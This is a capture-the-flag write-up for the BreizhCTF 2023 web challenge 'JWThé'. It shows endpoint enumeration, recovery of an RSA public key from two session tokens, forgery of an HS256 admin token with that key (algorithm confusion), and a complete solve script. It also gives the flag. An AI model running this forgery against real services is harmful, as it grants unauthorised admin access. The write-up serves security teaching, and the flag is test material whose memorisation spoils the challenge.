Zeecka zeecka

JWThé

BreizhCTF 2023 - Web

BreizhCTF 2023 - JWThé

Challenge details

EventChallengeCategoryPointsSolves
BreizhCTF 2023JWThéWeb??????

tea

I love tea; it’s a timeless communion between body and spirit! Find the shop’s recipe book and retrieve the flag.

Author: Zeecka

https://jwthe.ctf.bzh/

TL;DR

The user session mechanism relies on JWTs using an RSA signature (RS256). Specialized tools can be used to recover the RSA public key from 2 of these tokens. The public key can then be reused as an encryption secret with the HS256 algorithm.

Methodology

The site offers a shop for buying drinks.

home.png

Once the order is placed, we end up with a summary, associated with a session cookie in JWT format.

command.png

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJBbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiJTYW5zIGdsYVx1MDBlN29ucyIsInJvbGUiOiJjbGllbnQiLCJpYXQiOjE2NzU2MzUxMDl9.KPpTKnq1deuV2JTqAZDmezdDVMpohF18sqdDuUNCAsI9AcPcnRmfkClXdNxAIupPSfrciDQ2zhkBonY_geQ3eRlhEAQrdZ3UFVMG5z24JIg16pm-Z0wS---mWkLUtP98SUfv703eOiKZuUJt6mNVlf7Y2J5GDANjpLOEHepRrNI

Enumerating the pages with tools like dirsearch allows us to identify the administration endpoint used to list the recipes (the goal of the challenge), namely /recipes and its alias /recettes:

$ dirsearch -u "https://jwthe.ctf.bzh" -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 20115

Output: output.txt

Target: https://jwthe.ctf.bzh/

[00:07:33] Starting: 
[00:07:47] 403 -  939B  - /recipes
[00:07:56] 302 -  189B  - /delete  ->  /
[00:09:12] 403 -  939B  - /recettes
[00:09:29] 405 -  153B  - /command

Task Completed

recettes_403.png

We can then attempt to alter the JWT in order to build an administration token. Decoding the token using the jwt.io site lets us learn more about the token’s attributes.

jwtio.png

{
  "alg": "RS256",
  "typ": "JWT"
}
{
  "firstname": "Alex",
  "drink": "1",
  "size": "S",
  "toppings": "",
  "note": "Sans glaçons",
  "role": "client",
  "iat": 1675635109
}

This is a token in RS256 format that notably has a “role” attribute. Using the various techniques mentioned in PayloadAllTheThings does not allow us to forge a valid token.

However, using the RS256 algorithm implies the use of an RSA key pair. In order to check the robustness of the signing keys, we can use the JWT-Key-Recovery tool, which is useful for recovering a public RSA key from 2 valid JWTs:

$ python recover.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJhbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiIiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc1NjM2MDM5fQ.g8bKgcqnvzbr2DPvp_eHAhf_HsIi4B-0VawXG4ygSCLmUNcNHduT4HEBVSWE79-T-qrv5i6tKd0de-v-x49wyYYSz-EKbohA61yat6LCcvpHkbr-VqXNyV2IsW06iuJ6mh2bHGNGwJ96w8rlIPFPQzNOd69xQld1TmfM8zpN7sc eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJhbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiIiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc1NjM2MDQxfQ.O1FVcAlpU9phb25DUy_eH2eIvv4jKc-z9GhXGsIGwXX2NTkyvSnJP_ykuDsOu5iMCMmUci29cl73OcZIjTj1OWPrQpDpgonl-19xKV_014QJlT6T9NyfsQpcF2XvazfchV1zRbogbq4KKgFDzXW3DBtxtLF4npz1IrYM0fdcgRE


Recovering public key for algorithm RS256...
Found public RSA key !
n=144643368579758080038799810762792907671669190448854065685922625409060150323780540701698604965270489699974486458103029530366874799597421586371557554188164149588180328577009220855527997708441471901092443236600336620000888420317481366636926577558199654501740076861372892971907237606321053359557829258478318221013
e=65537
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDN+p9a9oMyqRzkae8yLdJcEK0O
0WesH6JiMz+KDrpUwAoAM/KPDnxFnROJDSBHyHEmPVn5x8GqV5lQ9+6l97jdEEcP
o6wkshycM82fgcxOmvtAy4Uoxq/AeplYqplhcUTGVuo4ZldOLmN8ksGmzhWpsOdT
0bkYipHCn5sWZxd21QIDAQAB
-----END PUBLIC KEY-----

Here we recover the public RSA key in ASN1 PEM format, as well as in its integer form (n).

A common vulnerability lies in the support of several signing algorithms (usually one symmetric and one asymmetric algorithm):

token = jwt.decode(jeton_base64, secret, algorithms=["RS256", "HS256"])

Here, assuming that the RSA public key is used as the signature verification secret (which is usually the case), it is possible to forge a valid token using the HS256 algorithm. Indeed, with this symmetric algorithm, the verification public key is the same as the signing key (unlike asymmetric cryptography).

Generating a valid token can be done using the pyJwt tool, taking care to change the signing algorithm but not the key, keeping the same content structure and adapting the role of our session:

import jwt  # pip install pyjwt
token = {
    "firstname": "alex",
    "drink": "1",
    "size": "S",
    "toppings": "",
    "note": "",
    "role": "admin",  # on set le rôle admin ici
    "iat": int(time.time())
}

RSA_PUBLIC = open("public.pem").read()
encoded_jwt = jwt.encode(token, RSA_PUBLIC, algorithm="HS256")
print(encoded_jwt)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJhbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiIiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2NzY1NjI3MDF9.zs71svw8ONgACFp2IwYn3hGAC-IXuMiR1FEkMx-Vy4w

This token can then be reinjected into our session to retrieve the flag on the recipe page (/recettes):

flag.png

Here is a python solve script that solves the challenge. It relies notably on the tools mentioned earlier in the article.

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import jwt
import time
import subprocess

URL = "https://jwthe.ctf.bzh/"

s = requests.session()
data = {
    "firstname": "alex",
    "drink": "1",
    "size": "S",
    "toppings": "",
    "note": ""
}

print(f"[+] Generate 2 JWTokens")
s.post(f"{URL}/command", json=data)
t1 = dict(s.cookies)["session"]
time.sleep(2)
s.post(f"{URL}/command", json=data)
t2 = dict(s.cookies)["session"]

print(t1)
print(t2)

print(f"[+] Recovering public key for algorithm RS256... (this may take some time)")
output = subprocess.check_output(f"python3 recover.py {t1} {t2}", shell=True).decode()

assert("Found public RSA key !" in output)

n = int(output.split("n=")[1].split("\n")[0])
public_key = output.split("-----BEGIN PUBLIC KEY-----")[1].split("-----END PUBLIC KEY-----")[0]
public_key = f"-----BEGIN PUBLIC KEY-----{public_key}-----END PUBLIC KEY-----"

with open("public.pem", "w") as f:
    f.write(public_key)
print(public_key)
print(f"n = {n}")

print(f"[+] Signing new admin token with HS256 and public.pem")
token = {
    "firstname": "alex",
    "drink": "1",
    "size": "S",
    "toppings": "",
    "note": "",
    "role": "admin",  # on set le rôle admin ici
    "iat": int(time.time())
}

RSA_PUBLIC = open("public.pem").read()
encoded_jwt = jwt.encode(token, RSA_PUBLIC, algorithm="HS256")

print(f"[+] Query website with new token and get flag")
s.cookies.set("session", None)  # https://stackoverflow.com/questions/25429754/how-to-modify-cookies-in-requests
s.cookies.set("session", encoded_jwt)
r = s.get(f"{URL}/recettes").text
flag = r.split("recettes: ")[1].split(".")[0]
print(f"[+] Flag is: {flag}")
assert(flag == r"BZHCTF{JWThé_à_la_menthe}")

Flag

BZHCTF{JWThé_à_la_menthe}

Author: Zeecka